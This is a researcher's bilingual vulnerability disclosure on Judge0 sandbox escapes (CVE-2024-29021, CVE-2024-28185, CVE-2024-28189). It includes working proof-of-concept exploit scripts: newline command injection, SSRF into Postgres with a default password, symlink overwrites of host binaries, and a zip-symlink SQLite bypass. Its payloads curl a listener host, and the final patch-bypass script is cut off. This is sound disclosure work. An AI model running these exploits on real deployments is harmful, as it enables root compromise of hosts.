Judge0 Sandbox Escape

Judge0 Sandbox Escape

Judge0 is an open source service used to run arbitrary code inside a secure sandbox. The Judge0 website lists 23 clients using the service, with more than 300 self hosted instances available on the public internet and potentially many more within internal networks.
Judge0 是一种开源服务,用于在安全沙箱中运行任意代码。Judge0 网站列出了 23 个使用该服务的客户端,在公共互联网上有 300 多个自托管实例,内部网络中可能还有更多实例。

Tanto Security disclosed vulnerabilities in Judge0 that allows an adversary with sufficient access to perform a sandbox escape and obtain root permissions on the host machine. These vulnerabilities were assigned CVE-2024-29021, CVE-2024-28185 and CVE-2024-28189.
Tanto Security 披露了 Judge0 中的漏洞,该漏洞允许具有足够访问权限的对手执行沙盒逃逸并获取主机上的 root 权限。这些漏洞的编号为 CVE-2024-29021、CVE-2024-28185 和 CVE-2024-28189。

Introduction 介绍

This post will cover a Judge0 sandbox escape and how I discovered it, including source code analysis and exploitation. It began as a simple conversation with a friend who used the platform to offload the difficult task of secure sandboxed code execution which led me to investigate how it worked.
这篇文章将介绍 Judge0 沙盒逃生以及我是如何发现它的,包括源代码分析和利用。它始于与一位朋友的简单对话,他使用该平台卸载了安全沙盒代码执行的艰巨任务,这使我调查了它是如何工作的。

Judge0 is used by organisations focused on development and cyber security including education and talent recruitment companies that must ensure the safe execution of code. The service is often used within competitive programming environments where code must be tested to produce correct outputs that correlate with the provided inputs.
Judge0 被专注于开发和网络安全的组织使用,包括必须确保代码安全执行的教育和人才招聘公司。该服务通常用于竞争性编程环境中,在这些环境中,必须对代码进行测试以生成与提供的输入相关的正确输出。

I reviewed their research paper and had a look at their codebase to find out more.
我查看了他们的研究论文,并查看了他们的代码库以了解更多信息。

Investigating 调查

By taking a brief look at the structure of the codebase, I found the following:
通过简要查看代码库的结构,我发现了以下内容:

  1. A user submits their code via an API endpoint to Judge0.
    用户通过 API 端点将其代码提交到 Judge0。
  2. A Ruby on Rails server receives this request and validates the submission data structure. It then inserts it into the PostgreSQL database.
    Ruby on Rails 服务器接收此请求并验证提交数据结构。然后,它将其插入到 PostgreSQL 数据库中。
  3. Processing of the submission is queued as a Resque job.
    提交的处理将作为 Resque 作业排队。
  4. The job is processed and run by the code within isolate_job.rb. This code uses the isolate binary to sandbox the submission.
    作业由 isolate_job.rb 中的代码处理和运行。此代码使用 isolate 二进制文件对提交进行沙盒处理。

The isolate binary uses Linux namespaces and control groups in a similar way to how Docker uses them to isolate containers. Judge0 ships inside a Docker container running in --privileged mode so that it can access otherwise restricted components of the host system. For example, it is possible to mount the host filesystem and write files to it from a container running in privileged mode.
isolate 二进制文件使用 Linux 命名空间和控制组的方式与 Docker 使用它们隔离容器的方式类似。Judge0 在以 --privileged 模式运行的 Docker 容器中交付,以便它可以访问主机系统中其他受限制的组件。例如,可以挂载主机文件系统,并从以特权模式运行的容器将文件写入其中。

Because of this, if access to a privileged docker container is achieved it should be possible to break out and compromise the host system. More information can be found at this Hacktricks link.
因此,如果实现了对 privileged docker 容器的访问,则应该有可能破坏并破坏主机系统。更多信息可以在这个 Hacktricks 链接中找到。

The isolate_job.rb script  isolate_job.rb 脚本

Most of the interesting code is inside isolate_job.rb. This sets up the isolate sandbox, copies the relevant files inside of it, runs the job, and parses and stores the results.
大多数有趣的代码都在 isolate_job.rb 中。这将设置 isolate 沙盒,将相关文件复制到其中,运行作业,并解析和存储结果。

One block of code caught my eye (can be found at this link):
一个代码块引起了我的注意(可以在这个链接中找到):

    unless submission.is_project
      # gsub is mandatory!
      command_line_arguments = submission.command_line_arguments.to_s.strip.encode("UTF-8", invalid: :replace).gsub(/[$&;<>|`]/, "")
      File.open(run_script, "w") { |f| f.write("#{submission.language.run_cmd} #{command_line_arguments}")}
    end

This code is in charge of creating run_script, a bash script used to execute the correct program. While submission.language.run_cmd is not user controlled, command_line_arguments can be supplied via the Judge0 API (which is public in some scenarios). I initially thought the gsub command was used to strip special characters out of the command line arguments that could for example be used to run additional processes.
此代码负责创建 run_script ,用于执行正确程序的 bash 脚本。虽然 submission.language.run_cmd 不是用户控制的, command_line_arguments 但可以通过 Judge0 API(在某些情况下是公共的)提供。我最初认为该 gsub 命令用于从命令行参数中剥离特殊字符,例如,这些参数可用于运行其他进程。

However, after reviewing this blacklist, I realised that \n is another special character that could be used to inject commands. After following the setup instructions to run Judge0 locally, I tested to see if it would work.
但是,在查看了此黑名单后,我意识到这是 \n 另一个可用于注入命令的特殊字符。按照设置说明在本地运行 Judge0 后,我测试了它是否可以工作。

curl --request POST \
  --url 'http://localhost:2358/submissions?wait=true' \
  --header 'Content-Type: application/json' \
  --data '{
  "source_code": "echo hi",
  "language_id": 46,
  "command_line_arguments": "x\necho POC"
}'

From this, I received the following response:
由此,我收到了以下回复:

{
    "stdout": "hi\nPOC\n",
    "time": "0.05",
    "memory": 6548,
    "stderr": null,
    "token": "c859f250-b8ad-4ff0-8182-08b82c2ba762",
    "compile_output": null,
    "message": null,
    "status": {
        "id": 3,
        "description": "Accepted"
    }
}

The \n allowed us to run the echo POC command! I had to use x at the start of the payload as otherwise the .strip method would remove the new line. Fortunately, the addition of the x doesn’t change the execution in any way.
允许 \n 我们运行命令 echo POC !我不得不在有效负载的开头使用 x ,否则该 .strip 方法将删除新行。幸运的是,添加 不会 x 以任何方式改变执行。

Although it is possible to execute code outside of the submission source_code, it doesn’t help us as this is run inside the isolate sandbox. This seemed like a dead end.
虽然可以在提交之外执行代码 source_code ,但它对我们没有帮助,因为它是在隔离沙箱内运行的。这似乎是一条死胡同。

Ruby backticks Ruby 反引号

The way that Judge0 calls isolate is demonstrated in the following code:
以下代码演示了 Judge0 调用 isolate 的方式:

    command = "isolate #{cgroups} \
    -s \
    -b #{box_id} \
    -M #{metadata_file} \
    #{submission.redirect_stderr_to_stdout ? "--stderr-to-stdout" : ""} \
    #{submission.enable_network ? "--share-net" : ""} \
    -t #{submission.cpu_time_limit} \
    -x #{submission.cpu_extra_time} \
    -w #{submission.wall_time_limit} \
    -k #{submission.stack_limit} \
    -p#{submission.max_processes_and_or_threads} \
    #{submission.enable_per_process_and_thread_time_limit ? (cgroups.present? ? "--no-cg-timing" : "") : "--cg-timing"} \
    #{submission.enable_per_process_and_thread_memory_limit ? "-m " : "--cg-mem="}#{submission.memory_limit} \
    -f #{submission.max_file_size} \
    -E HOME=/tmp \
    -E PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\" \
    -E LANG -E LANGUAGE -E LC_ALL -E JUDGE0_HOMEPAGE -E JUDGE0_SOURCE_CODE -E JUDGE0_MAINTAINER -E JUDGE0_VERSION \
    -d /etc:noexec \
    --run \
    -- /bin/bash run \
    < #{stdin_file} > #{stdout_file} 2> #{stderr_file} \
    "

    # ...

    `#{command}`

It is interesting that the command is run using Ruby backticks which uses a shell to interpret the arguments. This means I could run commands in subshells that would run outside of the isolate process if I could inject into these parameters, for example injecting $(id) into submission.stack_limit. This, however, turned out to be a dead end as all the values injected were either validated to be numerical or were constants referring to string literals.
有趣的是,该命令是使用 Ruby 反引号运行的,它使用 shell 来解释参数。这意味着,如果我可以注入到这些参数中,例如注入 $(id) 到 submission.stack_limit .然而,这被证明是一条死胡同,因为所有注入的值要么被验证为数值,要么是引用字符串文字的常量。

What isn’t inside the sandbox?
沙盒里没有什么?

The code that runs after a job finished caught my eye:
作业完成后运行的代码引起了我的注意:

  def cleanup(raise_exception = true)
    fix_permissions
    `sudo rm -rf #{boxdir}/* #{tmpdir}/*`
    [stdin_file, stdout_file, stderr_file, metadata_file].each do |f|
      `sudo rm -rf #{f}`
    end
    `isolate #{cgroups} -b #{box_id} --cleanup`
    raise "Cleanup of sandbox #{box_id} failed." if raise_exception && Dir.exists?(workdir)
  end

This contains commands inside backticks that run outside of the isolate process, making it a perfect candidate to try something malicious.
这包含在隔离进程之外运行的反引号内的命令,使其成为尝试恶意操作的完美候选者。

boxdir refers to the path of the sandbox directory on the host system, meaning I can control all the files in this folder. From this, I came up with this potential exploit:
boxdir 指主机系统上沙盒目录的路径,表示我可以控制此文件夹中的所有文件。由此,我想出了这个潜在的漏洞:

  1. Use the submitted script to create a symlink called mylink in boxdir that points to /some/host/file
    使用提交的脚本创建一个符号链接,该符号链接指向 mylink boxdir /some/host/file
  2. When cleanup is run, it should run sudo rm -rf /path/to/boxdir/mylink
    运行时 cleanup ,它应该运行 sudo rm -rf /path/to/boxdir/mylink
  3. Hopefully the rm -rf will follow the link and delete some files on the host system.
    希望 rm -rf 会点击链接并删除主机系统上的一些文件。

This failed as rm -rf would only follow mylink in this scenario if it ended in a slash.
这失败了 rm -rf ,因为只有在这种情况下,如果它以斜杠结束,才会发生 mylink 。

Running out of ideas – is isolate secure?
想法用完了 – 安全吗 isolate ?

At this point I reviewed the documentation for isolate to find anything interesting and stumbled across a flag called --share-net:
在这一点上,我查看了文档以 isolate 找到任何有趣的东西,并偶然发现了一个名为 --share-net :

--share-net
By default, isolate creates a new network namespace for its child process that contains no network devices except for a per-namespace loopback to prevent the program from communicating with the outside world. I can use this switch to keep the child process in parent’s network namespace if I want to permit communication.

As there is no additional protection stopping the container from accessing internal networks, we should be able to abuse this to forge server-side requests (Also known as a Server Side Request Forgery vulnerability, or SSRF). --share-net is enabled in isolate when the Judge0 flag enable_network is enabled, which is allowed only if ALLOW_ENABLE_NETWORK is true in the Judge0 config. ALLOW_ENABLE_NETWORK is true in the default Judge0 configuration.
由于没有额外的保护措施来阻止容器访问内部网络,我们应该能够滥用它来伪造服务器端请求(也称为服务器端请求伪造漏洞,或 SSRF)。 --share-net isolate 在启用 Judge0 标志时启用,仅当 Judge0 配置中为 true 时 ALLOW_ENABLE_NETWORK 才允许启用该标志 enable_network 。 ALLOW_ENABLE_NETWORK 在默认 Judge0 配置中为 true。

To exploit this, I examined other services inside the docker compose file:
为了利用这一点,我检查了 docker compose 文件中的其他服务:

version: '2'

x-logging:
  &default-logging
  logging:
    driver: json-file
    options:
      max-size: 100m

services:
  server:
    image: judge0/judge0:1.13.0
    volumes:
      - ./judge0.conf:/judge0.conf:ro
    ports:
      - "2358:2358"
    privileged: true
    <<: *default-logging
    restart: always

  workers:
    image: judge0/judge0:1.13.0
    command: ["./scripts/workers"]
    volumes:
      - ./judge0.conf:/judge0.conf:ro
    privileged: true
    <<: *default-logging
    restart: always

  db:
    image: postgres:13.0
    env_file: judge0.conf
    volumes:
      - postgres-data:/var/lib/postgresql/data/
    <<: *default-logging
    restart: always

  redis:
    image: redis:6.0
    command: [
      "bash", "-c",
      'docker-entrypoint.sh --appendonly yes --requirepass "$$REDIS_PASSWORD"'
    ]
    env_file: judge0.conf
    volumes:
      - redis-data:/data
    <<: *default-logging
    restart: always

volumes:
  postgres-data:
  redis-data:

Postgres and Redis were particularly interesting as they could potentially perform sensitive operations. Redis was less interesting as it scheduled and coordinated Resque jobs, however the database was intriguing due to the way submissions are stored.
Postgres 和 Redis 特别有趣,因为它们可能会执行敏感操作。Redis 在安排和协调 Resque 作业时不太有趣,但由于提交的存储方式,数据库很有趣。

I said earlier that validation of parameters occurs before the submission is created in the database, meaning that I could manually inject malicious parameters if I could interact with the database directly using the SSRF. The parameters injected into the shell command that runs isolate were of particular interest, namely submission.stack_limit.
我之前说过,参数的验证发生在在数据库中创建提交之前,这意味着如果我可以直接使用 SSRF 与数据库交互,我可以手动注入恶意参数。注入到运行 isolate 的 shell 命令中的参数特别令人感兴趣,即 submission.stack_limit 。

A challenge was that the database column only accepts numerical values but since Ruby is a dynamically typed language I was curious if I could simply change the column type to be a string using a SQL command:
一个挑战是数据库列只接受数值,但由于 Ruby 是一种动态类型语言,我很好奇是否可以简单地使用 SQL 命令将列类型更改为字符串:

ALTER TABLE submissions ALTER stack_limit TYPE text

Surprisingly Judge0 still functioned as usual with this column changing type! All I needed to do was write a script that interacted with PostgreSQL and change the stack_limit of a queued submission to be a shell payload such as $(id).
令人惊讶的是,Judge0 仍然像往常一样运行,但此列更改了类型!我需要做的就是编写一个与 PostgreSQL 交互的脚本,并将排队提交 stack_limit 的脚本更改为 shell 有效负载,例如 $(id) .

It was a challenge to create a way to interact with PostgreSQL without the ability to easily use a library. I ended up writing my own code to implement the Postgres messaging protocol. For ease of use I wrapped it in a script that would also perform the POST request to the Judge0 API to submit. The code is as follows:
创建一种与 PostgreSQL 交互的方式而又无法轻松使用库是一项挑战。我最终编写了自己的代码来实现 Postgres 消息传递协议。为了便于使用,我将其包装在一个脚本中,该脚本还将执行对 Judge0 API 的 POST 请求以提交。代码如下:

#!/usr/bin/env python3

import requests

CMD = "curl http://host.docker.internal:9001/"

SQL = "ALTER TABLE submissions ALTER stack_limit TYPE text; UPDATE submissions SET stack_limit='$({})' WHERE id=(SELECT MAX(id) FROM submissions);".format(
    CMD
)

CODE = """import socket
import struct
import hashlib
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("db", 5432))


class SMsg:
    def __init__(self, type):
        self.header = type.encode() if type is not None else b""
        self.data = b""

    def write_int(self, n):
        self.data += struct.pack(">I", n)

    def write(self, d):
        self.data += d

    def write_str(self, s):
        self.data += s.encode() + b"\\x00"

    def send(self):
        s.sendall(self.header + struct.pack(">I", len(self.data) + 4) + self.data)


class RMsg:
    def __init__(self, type, data):
        self.type = type
        self.data = data

    def get_int(self):
        strt = self.data[:4]
        self.data = self.data[4:]
        return struct.unpack(">I", strt)[0]

    def get(self, n):
        strt = self.data[:n]
        self.data = self.data[n:]
        assert len(strt) == n
        return strt

    @staticmethod
    def read():
        mtype = s.recv(1)[0]
        mlen = struct.unpack(">I", s.recv(4))[0]
        return RMsg(mtype, s.recv(mlen))


def md5(x):
    return hashlib.md5(x).hexdigest()


m = SMsg(None)
m.write_int(196608)
m.write_str("user")
m.write_str("judge0")
m.write_str("database")
m.write_str("judge0")
m.write(b"\\x00")
m.send()

resp = RMsg.read()
assert resp.type == ord("R")
assert resp.get_int() == 5  # md5 encryption
salt = resp.get(4)
assert resp.data == b""

m = SMsg("p")
m.write_str("md5" + md5(md5(b"YourPasswordHere1234" + b"judge0").encode() + salt))
m.send()

print(s.recv(1024))

m = SMsg("Q")
m.write_str("{}")
m.send()

print(s.recv(1024))""".format(
    SQL
)

TARGET = "http://localhost:2358"


def submit(src):
    return requests.post(
        TARGET + "/submissions",
        json={"source_code": src, "language_id": 71, "enable_network": True},
    ).json()


# if it doesnt work try increasing this
NUM_PADDING = 20

for i in range(NUM_PADDING):
    submit("print('hi')")
submit(CODE)
for i in range(NUM_PADDING):
    submit("print('hi')")

Some points to note:
需要注意的几点:

  1. Authenticating to PostgreSQL requires a password. This password is configurable using the judge0.conf file, however, when following the deployment instructions there is no indication to change this from the default so I assume that many configurations could still be using the default password (which is YourPasswordHere1234).
    向 PostgreSQL 进行身份验证需要密码。此密码可以使用 judge0.conf 该文件进行配置,但是,当按照部署说明进行操作时,没有迹象表明要将其从默认值更改为默认密码,因此我假设许多配置仍可能使用默认密码(即 YourPasswordHere1234 )。

    • Even if the password has been changed, it would be possible to create a submission that can brute force this password.
      即使密码已更改,也可以创建可以暴力破解此密码的提交。
  2. I made 41 submissions to ensure that some submissions will be queued up. This was important as I wanted to run a SQL query to modify the run arguments of a submission that has not yet been consumed by a worker. The number required here depends on the speed and number of workers on the Judge0 server.
    我提交了 41 份意见书,以确保一些意见书能够排队。这很重要,因为我想运行一个 SQL 查询来修改尚未被工作线程使用的提交的 run 参数。此处所需的数量取决于 Judge0 服务器上的工作线程的速度和数量。

The proof of concept confirmed code execution by way of a web request to my host machine using curl (this may take some time as the server must execute all jobs before the payload is executed).
概念验证通过向我 curl 的主机发出 Web 请求来确认代码执行(这可能需要一些时间,因为服务器必须在执行有效负载之前执行所有作业)。

Judge0 Sandbox Escape

From here, I could create a reverse shell and then potentially escape the Docker container by mounting the host disk (which is allowed as the container is running in privileged mode). Later on, I reported this vulnerability and it was assigned CVE-2024-29021.
从这里,我可以创建一个反向 shell,然后通过挂载主机磁盘(这是允许的,因为容器在特权模式下运行)来转义 Docker 容器。后来,我报告了这个漏洞,它被分配了 CVE-2024-29021。

Digging deeper 深入挖掘

I found a sandbox escape, so does that mean my work here is done? Of course not!
我找到了一个沙盒逃生,那么这是否意味着我在这里的工作已经完成?当然不是!

There are a few problems with this exploit:
此漏洞存在一些问题:

  1. It requires us to be able to use the enable_network flag.
    它要求我们能够使用标志 enable_network 。

    • This is unlikely to be possible with many self hosted applications, which use Judge0 inside of an internal network. The application would have to contain functionality to allow us to set the enable_network flag (which is unlikely as it doesn’t seem necessary in a lot of use cases)
      对于许多在内部网络中使用 Judge0 的自托管应用程序来说,这不太可能实现。应用程序必须包含允许我们设置 enable_network 标志的功能(这不太可能,因为在很多用例中似乎没有必要)
    • https://ce.judge0.com is a publicly hosted Judge0 instance, however it has ALLOW_ENABLE_NETWORK disabled in its config file.
      https://ce.judge0.com 是一个公开托管的 Judge0 实例,但它已 ALLOW_ENABLE_NETWORK 在其配置文件中禁用。
  2. It requires the default password for the database to be unchanged. Although the setup guide does not tell you to change it, there is a warning in the config file:
    它要求数据库的默认密码保持不变。尽管安装指南没有告诉您更改它,但配置文件中有一个警告:

    # Password of the user. Cannot be blank. Used only in production.
    # Default: NO DEFAULT, YOU MUST SET YOUR PASSWORD
    POSTGRES_PASSWORD=YourPasswordHere1234
    

I would like to find an exploit that doesn’t have these issues. In an ideal scenario, all I would need is to control the source code and I can get a sandbox escape that way. To investigate this, I decided to take another look at some of my older ideas.
我想找到一个没有这些问题的漏洞。在理想情况下,我只需要控制源代码,这样我就可以得到一个沙盒转义。为了调查这个问题,我决定再看看我的一些旧想法。

As I revisited the rm -rf failed exploit attempt, I decided to try a similar exploit targeting the following code (found here):
当我重新审视失败的 rm -rf 漏洞利用尝试时,我决定尝试针对以下代码的类似漏洞利用(可在此处找到):

`sudo chown $(whoami): #{run_script} && rm #{run_script}` unless submission.is_project

To do this I replaced the run_script with a symlink to an absolute path on the host filesystem. And it turned out this worked! The file on the host system had its owner successfully changed.
为此,我用指向主机文件系统上绝对路径的符号链接替换了 。 run_script 事实证明,这奏效了!主机系统上的文件已成功更改其所有者。

I tried to use this to cause the program to crash and create a Denial of Service, but I couldn’t get it to work. However, it did put the following thought in my mind:
我试图使用它来导致程序崩溃并创建拒绝服务,但我无法让它工作。但是,它确实在我的脑海中产生了以下想法:

The rm command cannot be exploited here as they are their own file which can be unlinked. However, chown works with symlinks here as it changes data about the file.
该 rm 命令不能在这里被利用,因为它们是它们自己的文件,可以取消链接。但是,在这里使用符号链接, chown 因为它会更改有关文件的数据。

And then I realised that the answer had been in front of me the entire time! If you remember this code from the very start of this investigation:
然后我意识到答案一直摆在我面前!如果你从本次调查的一开始就记得这段代码:

    unless submission.is_project
      # gsub is mandatory!
      command_line_arguments = submission.command_line_arguments.to_s.strip.encode("UTF-8", invalid: :replace).gsub(/[$&;<>|`]/, "")
      File.open(run_script, "w") { |f| f.write("#{submission.language.run_cmd} #{command_line_arguments}")}
    end

This code writes to a file called run_script (which is just the full path of a file called run inside the sandbox directory). However, this file write is performed outside of the isolate sandbox! That means that if I created a symlink named run inside the sandbox directory, this would write to the file pointed to by the symlink. In other words, I have an arbitrary file write vulnerability!
此代码写入一个名为 run_script (该文件只是在沙盒目录中调用 run 的文件的完整路径)。但是,此文件写入是在隔离沙箱之外执行的!这意味着,如果我在沙盒目录中创建了一个命名 run 的符号链接,它将写入符号链接指向的文件。换句话说,我有一个任意文件写入漏洞!

There were a few hurdles to get this to work:
要做到这一点,有几个障碍:

  1. I needed to create the run symlink before the file write occurs. I did this using the gsub bypass mentioned earlier, however this time using the compiler_options flag instead of the command_line_arguments flag. This works as the vulnerable code runs after the compile stage.
    我需要在文件写入之前创建 run 符号链接。我使用前面提到的 gsub 旁路执行此操作,但是这次使用 compiler_options 标志而不是 command_line_arguments 标志。这适用于易受攻击的代码在编译阶段之后运行。
  2. The file write could be used to overwrite important files and cause a Denial of Service, but I wanted to get code execution. To do this, I created a shell script using the gsub bypass but this time using command_line_arguments. While the first line will likely fail as it will try and execute the compiled submission (which will not be in the current working directory at this point), bash does not exit the script if a single line fails so our payload should still be executed.
    文件写入可用于覆盖重要文件并导致拒绝服务,但我想执行代码。为此,我使用 gsub 旁路创建了一个 shell 脚本,但这次使用 command_line_arguments .虽然第一行可能会失败,因为它会尝试执行编译后的提交(此时不在当前工作目录中),但如果单行失败, bash 则不会退出脚本,因此我们的有效负载仍应执行。

Here is a sample exploit script:
下面是一个示例漏洞利用脚本:

#!/usr/bin/env python3

import requests

TARGET = "http://localhost:2358"


print(requests.post(
    TARGET + "/submissions?wait=true",
    json={
        "source_code": "NOT IMPORTANT",
        "language_id": 73, # Rust
        "compiler_options": "--version\nln -s ../../../../../../usr/local/bin/isolate ./run\n#",
        "command_line_arguments": "x\ncurl http://host.docker.internal:9001/rce"
    },
).json())

This script uses the symlink to overwrite /usr/local/bin/isolate, the binary called to run submissions. Let’s take a look at how the code handles this:
此脚本使用符号链接来覆盖 /usr/local/bin/isolate ,调用二进制文件来运行提交。让我们看一下代码如何处理这个问题:

  1. When the program is compiled, isolate_job.rb runs the following code:
    编译程序后, isolate_job.rb 运行以下代码:
# gsub can be skipped if compile script is used, but is kept for additional security.
compiler_options = submission.compiler_options.to_s.strip.encode("UTF-8", invalid: :replace).gsub(/[$&;<>|`]/, "")
File.open(compile_script, "w") { |f| f.write("#{submission.language.compile_cmd % compiler_options}") }

As compile_cmd for Rust (which is language_id 73) is /usr/local/rust-1.40.0/bin/rustc %s main.rs, this will result in the following compile_script being written to disk:
至于 compile_cmd Rust(即 language_id 73)是 /usr/local/rust-1.40.0/bin/rustc %s main.rs ,这将导致以下内容 compile_script 被写入磁盘:

/usr/local/rust-1.40.0/bin/rustc --version
ln -s ../../../../../../usr/local/bin/isolate ./run
# main.rs

This sets up our symlink for when the program is run. The following code writes to the run_script:
这将为程序运行时设置符号链接。以下代码写入 run_script :

# gsub is mandatory!
command_line_arguments = submission.command_line_arguments.to_s.strip.encode("UTF-8", invalid: :replace).gsub(/[$&;<>|`]/, "")
File.open(run_script, "w") { |f| f.write("#{submission.language.run_cmd} #{command_line_arguments}")}

As run_cmd for Rust is ./main, this will result in the following being written to run_script:
至于 run_cmd Rust 是 ./main ,这将导致以下内容被写入 run_script :

./main x
curl http://host.docker.internal:9001/rce

As run_script symlinks to the isolate binary, the isolate binary will be overwritten and called, causing our payload to be executed outside of the sandbox.
作为 run_script isolate 二进制文件的符号链接, isolate 二进制文件将被覆盖和调用,导致我们的有效负载在沙箱之外执行。

By starting a listener on port 9001 of our host machine and running the script we can see that the curl command was successful:
通过在主机的端口 9001 上启动侦听器并运行脚本,我们可以看到命令 curl 是成功的:

➜  judge0-v1.13.0 nc -l 9001
GET /rce HTTP/1.1
Host: host.docker.internal:9001
User-Agent: curl/7.64.0
Accept: */*

It is worth noting that I can’t use any of the blacklisted gsub characters in the injected command. This can be bypassed using the following command which encodes the payload:
值得注意的是,我不能在注入的命令中使用任何列入黑名单 gsub 的字符。可以使用以下对有效负载进行编码的命令来绕过此设置:

python3 -c 'eval(bytes.fromhex("7072696e7428227263652229").decode())'

This method is significantly more impactful due it not requiring prior knowledge of the Postgres password. While the options for enabling custom command line arguments and compile time arguments may not always be available, these are commonly needed by end users to ensure successful compilation.
这种方法的影响要大得多,因为它不需要事先了解 Postgres 密码。虽然用于启用自定义命令行参数和编译时参数的选项可能并不总是可用,但最终用户通常需要这些选项来确保成功编译。

What if the gsub issue was patched?
如果 gsub 问题已修补怎么办?

Even if users can only control the source code and language (and not the command line or compile options), it may still be possible to perform arbitrary file write and cause Denial of Service – I would just need to find a way of creating a symlink during the compilation step.
即使用户只能控制源代码和语言(而不能控制命令行或编译选项),仍然有可能执行任意文件写入并导致拒绝服务 – 我只需要找到一种在编译步骤中创建符号链接的方法。

Judge0 supports many languages, and it is likely that one of these would allow for the creation of symlinks during compilation. However, the only content in the written file that can be controlled is the command line arguments, (which cannot be edited without supplying the relevant parameter to Judge0), so code execution without controlling this parameter does not seem possible.
Judge0 支持多种语言,其中一种可能允许在编译过程中创建符号链接。但是,写入文件中唯一可以控制的内容是命令行参数(如果不向 Judge0 提供相关参数,则无法编辑该参数),因此在不控制此参数的情况下执行代码似乎是不可能的。

However, would it be possible to still get code execution if the gsub command worked as intended and prevented shell command injection? This should be possible if I can find alternative ways to create the symlink before the program is run and to make the run script run our code correctly.
但是,如果 gsub 命令按预期工作并阻止 shell 命令注入,是否仍可能执行代码?如果我能找到替代方法在程序运行之前创建符号链接并使运行脚本正确运行我们的代码,这应该是可能的。

  1. For creating the symlink before the program is run, I can make use of the additional_files Judge0 argument. This allows us to upload a zip file which will be extracted on the server. As zip files can contain symlinks, I can inject our symlink at this step! This bypasses the need for compilation at all, so I am now open to playing around with interpreted languages.
    为了在程序运行之前创建符号链接,我可以使用 additional_files Judge0 参数。这允许我们上传一个 zip 文件,该文件将在服务器上提取。由于 zip 文件可以包含符号链接,因此我可以在此步骤注入我们的符号链接!这完全不需要编译,所以我现在愿意尝试解释语言。

  2. For making the run script work, I took a deeper look at how command_line_arguments worked. Maybe there was a program in the list of languages that allows me to execute code through a command line argument?
    为了让运行脚本正常工作,我更深入地研究了工作原理 command_line_arguments 。也许语言列表中有一个程序允许我通过命令行参数执行代码?

After some digging I managed to find a language that fits this criteria: SQLite. Many other languages didn’t work as processable arguments must be specified before the script name (and I can only inject after the script name), however SQLite receives a script from standard input.
经过一番挖掘,我设法找到了一种符合此标准的语言:SQLite。许多其他语言不起作用,因为必须在脚本名称之前指定可处理参数(我只能在脚本名称之后注入),但是 SQLite 从标准输入接收脚本。

Here is the proof of concept without relying on the gsub oversight:
以下是不依赖 gsub 监督的概念验证:

#!/usr/bin/env python3

import requests
import io
import zipfile
import base64
import stat

TARGET = "http://localhost:2358"
# Command to run outside of isolated environment
CMD = "curl http://host.docker.internal:9001/"

# Create zipfile in memory
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
    # Add symlink to zipfile. The symlink is called "run" and points to "/usr/local/bin/isolate"
    symlink_file = zipfile.ZipInfo("run")
    symlink_file.create_system = 3
    unix_st_mode = stat.S_IFLNK | stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH
    symlink_file.external_attr = unix_st_mode << 16
    zip_file.writestr(symlink_file, '/usr/local/bin/isolate')

# To avoid running into issues with the filter, the command can be encoded within python
hex_payload = CMD.encode().hex()
encoded_command = 'python3 -c __import__("os").system(bytes.fromhex("{}").decode())'.format(hex_payload)
encoded_command = encoded_command.replace("(","\\\\(").replace(")","\\\\)").replace('"','\\\\"')

# Submit the zipfile to the server.
print(requests.post(
    TARGET + "/submissions?wait=true",
    json={
        "source_code": "NOT IMPORTANT",
        "language_id": 82, # SQLite
        "additional_files": base64.b64encode(zip_buffer.getvalue()).decode(),
        "command_line_arguments": f"-cmd '.shell {encoded_command}'"
    },
).json()['stdout'])

The Patch 补丁

At this point I was ready to report the vulnerability to the developer. The developer (Herman Zvonimir Došilović) was very eager to fix the issue! CVE-2024-28185 was assigned to the vulnerability, and a patch was deployed shortly after. The patch can be found at this link, and looks like the following:
此时,我已准备好向开发人员报告该漏洞。开发人员(Herman Zvonimir Došilović)非常渴望解决这个问题!CVE-2024-28185 被分配给该漏洞,并在不久后部署了一个补丁。该补丁可以在此链接中找到,如下所示:

Judge0 Sandbox Escape

This change essentially changes the Linux user that the Ruby on Rails application runs as. This is interesting as I was expecting the patch to be something to do with preventing symbolic links for being the target of file operations in isolate_job.rb.
此更改实质上更改了运行 Ruby on Rails 应用程序的 Linux 用户。这很有趣,因为我希望该补丁与防止符号链接成为 中的 isolate_job.rb 文件操作目标有关。

The reason the patch was created was that the previous exploit overwrote /usr/local/bin/isolate, a file owned by root. This change breaks the proof of concept because the judge0 user does not have permission to overwrite /usr/local/bin/isolate.
创建补丁的原因是之前的漏洞覆盖 /usr/local/bin/isolate 了 root拥有的文件。此更改破坏了概念证明, judge0 因为用户无权覆盖 /usr/local/bin/isolate 。

However, this is the only thing preventing us from exploiting the vulnerability. We can still write to arbitrary files outside of the sandbox! With that in mind, I started searching for a way to get code execution despite the patch.
但是,这是阻止我们利用该漏洞的唯一原因。我们仍然可以写入沙盒之外的任意文件!考虑到这一点,我开始寻找一种方法来执行代码,尽管有补丁。

The Patch Bypass 补丁绕过

If you remember from earlier, we managed to find a way to run the Linux chown command on arbitrary files in the filesystem. This turned out to be not very useful at the time as the application runs as root. After the patch the application runs as the lower privilege Judge0 user. This means that the chown exploit now has a use – to change the owner of our target so that we can overwrite it as done previously.
如果你还记得之前的话,我们设法找到了一种在文件系统中的任意文件上运行 Linux chown 命令的方法。这在当时并不是很有用,因为应用程序以 root 身份运行。修补后,应用程序以较低权限的 Judge0 用户身份运行。这意味着该 chown 漏洞现在有一个用途 – 更改目标的所有者,以便我们可以像以前一样覆盖它。

To do this, all we need to do is chown the target binary to the current user, and then perform the symlink exploit to overwrite the binary with a malicious script. I tried doing this to /usr/local/bin/isolate, but it turns out that isolate needs to be owned by root to function correctly. Instead, we can overwrite the /bin/rm binary which will achieve the same effect.
为此,我们需要做的就是 chown 将目标二进制文件提供给当前用户,然后执行符号链接漏洞利用以使用恶意脚本覆盖二进制文件。我尝试这样做, /usr/local/bin/isolate 但事实证明, isolate 这需要拥有 root 才能正常运行。相反,我们可以覆盖将达到相同效果的 /bin/rm 二进制文件。

The resulting exploit script looks like this:
生成的漏洞利用脚本如下所示:

#!/usr/bin/env python3

import requests
import io
import zipfile
import base64
import stat

# Target address of Judge0 server
TARGET = "http://localhost:2358"

